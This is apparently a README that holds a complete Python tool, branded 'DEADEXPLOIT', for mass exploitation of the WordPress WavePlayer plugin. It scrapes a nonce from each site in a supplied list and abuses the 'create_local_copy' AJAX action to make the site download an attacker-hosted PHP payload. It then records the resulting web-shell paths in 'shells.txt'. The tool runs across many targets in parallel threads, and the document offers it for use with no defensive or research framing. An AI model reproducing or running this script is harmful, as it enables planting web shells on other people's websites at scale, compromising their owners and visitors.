README.md
Rendering markdown...
#!/usr/bin/env python3
"""
WordPress WavePlayer Exploit Scanner
"""
import requests
import re
import threading
import time
import os
import sys
from queue import Queue
from urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(InsecureRequestWarning)
init(autoreset=True)
# Colors
G = Fore.GREEN
R = Fore.RED
Y = Fore.YELLOW
B = Fore.BLUE
M = Fore.MAGENTA
C = Fore.CYAN
W = Fore.WHITE
RS = Style.RESET_ALL
class WavePlayerExploit:
def __init__(self, sites_file, payload_url, threads=10):
self.sites_file = sites_file
self.payload_url = payload_url
self.threads = threads
self.queue = Queue()
self.results_file = "shells.txt"
self.timeout = 15
self.retries = 2
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
# Nonce patterns
self.nonce_patterns = [
r'ajax_nonce":"([^"]+)"',
r'nonce":"([^"]+)"',
r'"_nonce":"([^"]+)"',
r'security":"([^"]+)"',
r'wpnonce":"([^"]+)"',
r'nonce=([^&"\']+)',
]
self.print_banner()
def print_banner(self):
banner = f"""
{B}███████╗██╗ ██╗ █████╗ ██╗ ██╗███████╗██████╗ ██╗ █████╗ ██╗ ██╗███████╗██████╗ {RS}
{B}╚════██║██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗██║ ██╔══██╗╚██╗ ██╔╝██╔════╝██╔══██╗{RS}
{B}███████║██║ █╗ ██║███████║██║ ██║█████╗ ██████╔╝██║ ███████║ ╚████╔╝ █████╗ ██████╔╝{RS}
{B}╚════██║██║███╗██║██╔══██║╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██║ ██╔══██║ ╚██╔╝ ██╔══╝ ██╔══██╗{RS}
{B}███████║╚███╔███╔╝██║ ██║ ╚████╔╝ ███████╗██║ ███████╗██║ ██║ ██║ ███████╗██║ ██║{RS}
{B}╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{RS}
{C}WavePlayer Exploit DEADEXPLOIT{RS}
{Y}Threads: {self.threads} | Timeout: {self.timeout}s | Retries: {self.retries}{RS}
{M}Results: {self.results_file}{RS}
{'-' * 60}
"""
print(banner)
def log(self, message, color=W, end='\n'):
timestamp = time.strftime('%H:%M:%S')
print(f"{C}[{timestamp}]{RS} {color}{message}{RS}", end=end)
def extract_nonce(self, url):
for attempt in range(self.retries + 1):
try:
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
for pattern in self.nonce_patterns:
matches = re.findall(pattern, response.text)
if matches:
return matches[0]
if attempt < self.retries:
time.sleep(2)
except Exception:
if attempt < self.retries:
time.sleep(2)
continue
return None
def exploit(self, url):
url = url.strip()
if not url.startswith(('http://', 'https://')):
url = 'https://' + url
self.log(f"[*] Testing: {url}", Y)
nonce = self.extract_nonce(url)
if not nonce:
self.log(f"[!] No nonce: {url}", R)
return
self.log(f"[+] Nonce: {nonce[:20]}...", G)
exploit_url = f"{url}/?wvpl-ajax=create_local_copy"
data = {'nonce': nonce, 'url': self.payload_url}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
for attempt in range(self.retries + 1):
try:
response = self.session.post(exploit_url, data=data, headers=headers, timeout=self.timeout)
if response.status_code == 200:
try:
json_response = response.json()
if json_response.get('success') == True:
self.log(f"[🔥] VULNERABLE: {url}", M)
temp_file = None
if 'data' in json_response and 'track' in json_response['data']:
temp_file = json_response['data']['track'].get('temp_file')
if temp_file:
self.log(f"[📁] Shell: {temp_file}", G)
# Save only the shell URL to file
with open(self.results_file, 'a') as f:
f.write(f"{temp_file}\n")
return
except:
pass
if attempt < self.retries:
time.sleep(2)
else:
self.log(f"[✗] Failed: {url}", R)
except Exception:
if attempt < self.retries:
time.sleep(2)
else:
self.log(f"[✗] Error: {url}", R)
def worker(self):
while True:
try:
url = self.queue.get(timeout=3)
if url is None:
break
self.exploit(url)
self.queue.task_done()
time.sleep(0.5)
except:
break
def run(self):
if not os.path.exists(self.sites_file):
self.log(f"[ERROR] File not found: {self.sites_file}", R)
return
with open(self.sites_file, 'r') as f:
sites = [line.strip() for line in f if line.strip()]
self.log(f"[✓] Loaded {len(sites)} targets", G)
# Clear results file before starting
open(self.results_file, 'w').close()
for site in sites:
self.queue.put(site)
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.daemon = True
t.start()
try:
while not self.queue.empty():
remaining = self.queue.qsize()
done = len(sites) - remaining
print(f"\r{C}Progress: {done}/{len(sites)}{RS}", end='')
time.sleep(0.5)
except KeyboardInterrupt:
self.log(f"\n[!] Interrupted", Y)
self.queue.join()
self.log(f"\n[✓] Done! Results in {self.results_file}", G)
def main():
print(f"\n{C}WavePlayer Exploit Configuration{RS}\n")
sites_file = input(f"[?] Path to WordPress sites list (txt): ").strip()
if not os.path.exists(sites_file):
print(f"{R}[!] File not found{RS}")
sys.exit(1)
payload_url = input(f"[?] URL to your PHP payload: ").strip()
if not payload_url.startswith(('http://', 'https://')):
payload_url = 'http://' + payload_url
threads = input(f"[?] Number of threads [10]: ").strip()
threads = int(threads) if threads.isdigit() else 10
print(f"\n{Y}Starting scan...{RS}\n")
scanner = WavePlayerExploit(sites_file, payload_url, threads)
scanner.run()
if __name__ == "__main__":
main()